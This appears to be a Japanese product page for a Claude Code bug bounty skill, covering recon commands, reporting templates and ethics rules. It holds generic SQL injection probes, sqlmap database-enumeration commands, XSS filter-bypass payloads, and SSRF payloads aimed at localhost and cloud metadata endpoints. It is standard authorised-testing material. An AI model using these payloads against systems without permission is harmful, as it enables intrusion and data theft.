bug-bounty-program について
Bug Bounty Program Specialistは、脆弱性調査やバグバウンティテスト向けのセキュリティスキルです。偵察、手動テスト、自動スキャンに加え、報告書作成や許可範囲・データ保護に関する指針を示します。
主な機能
- 01OWASP Top 10に沿った脆弱性確認
- 02サブドメイン、技術スタック、ポートの偵察
- 03SQLインジェクション、XSS、SSRFのテスト
- 04手動テストと自動スキャンの併用
- 05CVSS要素に基づくレポート作成
- 06許可範囲と責任ある開示の遵守
活用シーン
- 01許可されたバグバウンティ対象の偵察
- 02Webアプリの一般的な脆弱性テスト
- 03脆弱性の深刻度と調査結果の記録
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ dengineproblem/ agents-monorepo --skill bug-bounty-programインストール後、Claude Code で/bug-bounty-programを入力して読み込まれたか確認します。
詳細
バグバウンティプログラムの専門家
脆弱性調査とバグバウンティハンティングの専門家です。
テスト方法論
OWASP Top 10 の重点項目
- インジェクション(SQL、NoSQL、LDAP、OS コマンド)
- 認証の不備
- 機密データの漏えい
- XML 外部エンティティ(XXE)
- アクセス制御の不備
- セキュリティ設定の不備
- クロスサイトスクリプティング(XSS)
- 安全でないデシリアライゼーション
- 既知の脆弱性があるコンポーネントの使用
- ログ記録とモニタリングの不足
作業配分
- 偵察:30%
- 手動テスト:50%
- 自動スキャン:20%
偵察
サブドメイン列挙
# Пассивное перечисление
amass enum -passive -d target.com -o subdomains.txt
# Активное перечисление
subfinder -d target.com -all -o subfinder.txt
# DNS брутфорс
gobuster dns -d target.com -w wordlist.txt -o gobuster.txt
# Объединение результатов
cat subdomains.txt subfinder.txt gobuster.txt | sort -u > all_subs.txt
技術スタックの特定
# Wappalyzer CLI
wappalyzer https://target.com
# WhatWeb
whatweb -a 3 https://target.com
# Nuclei technology detection
nuclei -u https://target.com -t technologies/
ポートスキャン
# Быстрое сканирование
nmap -sS -sV -O -p- --min-rate 1000 target.com -oA nmap_full
# Сканирование сервисов
nmap -sC -sV -p 80,443,8080,8443 target.com -oA nmap_services
SQL インジェクションテスト
手動での検出
-- Error-based
' OR '1'='1
' AND '1'='2
' UNION SELECT NULL--
-- Time-based blind
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--
-- Boolean-based blind
' AND 1=1--
' AND 1=2--
SQLMap
# Basic injection test
sqlmap -u "https://target.com/page?id=1" --batch
# With authentication
sqlmap -u "https://target.com/page?id=1" --cookie="session=abc123" --batch
# POST data
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch
# Database enumeration
sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D dbname --tables --batch
XSS テスト
ペイロードの種類
// Reflected XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
// DOM-based XSS
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
// Bypass filters
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror="alert('XSS')">
<svg/onload=alert('XSS')>
// Stored XSS via different contexts
"><script>alert('XSS')</script>
'-alert('XSS')-'
</title><script>alert('XSS')</script>
コンテキストに応じたペイロード
// In HTML attribute
" onfocus=alert('XSS') autofocus="
' onfocus=alert('XSS') autofocus='
// In JavaScript string
';alert('XSS');//
"-alert('XSS')-"
// In URL parameter
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
SSRF テスト
基本的なペイロード
# Localhost bypass
http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://127.1
http://0177.0.0.1
# Cloud metadata
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/
検出方法
# Out-of-band detection using Burp Collaborator
url = "http://your-collaborator-id.burpcollaborator.net"
# Webhook.site for testing
url = "https://webhook.site/unique-id"
レポートの作成
構成
# Vulnerability Report
## Summary
[One-line description]
## Severity
[Critical/High/Medium/Low] - CVSS Score: X.X
## Affected Component
[URL/Endpoint/Feature]
## Description
[Detailed technical explanation]
## Steps to Reproduce
1. [Step 1]
2. [Step 2]
3. [Step 3]
## Proof of Concept
[Screenshots, code, requests]
## Impact
[Business/technical impact]
## Remediation
[Specific recommendations]
## References
[CVE, OWASP, etc.]
CVSS 計算要素
- 攻撃元区分(AV):ネットワーク/隣接ネットワーク/ローカル/物理
- 攻撃条件の複雑さ(AC):低/高
- 必要な特権(PR):不要/低/高
- ユーザー関与レベル(UI):不要/必要
- スコープ(S):変更なし/変更あり
- 機密性への影響(C):なし/低/高
- 完全性への影響(I):なし/低/高
- 可用性への影響(A):なし/低/高
ツールのチェックリスト
偵察
- Amass / Subfinder
- Nmap
- Shodan
- Google Dorks
Web テスト
- Burp Suite
- OWASP ZAP
- SQLMap
- Nuclei
自動化
- ffuf(ファジング)
- httpx(プロービング)
- waybackurls
- gau(URL の収集)
倫理ガイドライン
- スコープを守る — 許可された対象のみをテストしてください
- 破壊的な行為を避ける — DoS やデータ損失を引き起こさないでください
- データを保護する — 発見したデータを拡散しないでください
- 責任を持って報告する — 開示ポリシーに従ってください
- すべてを記録する — 詳細な記録を残してください
- レート制限を守る — システムに過剰な負荷をかけないでください
プログラム選定戦略
選定基準
- 過去の応答時間
- 報奨金額
- スコープの広さ
- プログラムの成熟度
- コミュニティからのフィードバック
優先度マトリックス
| プログラムの種類 | スキルレベル | 見込み |
|---|---|---|
| 新しいプログラム | すべて | 高 |
| 広いスコープ | 中級 | 中 |
| 狭いスコープ | エキスパート | 低〜中 |
| VDP のみ | 初心者 | 低 |
コメント
Markdown 対応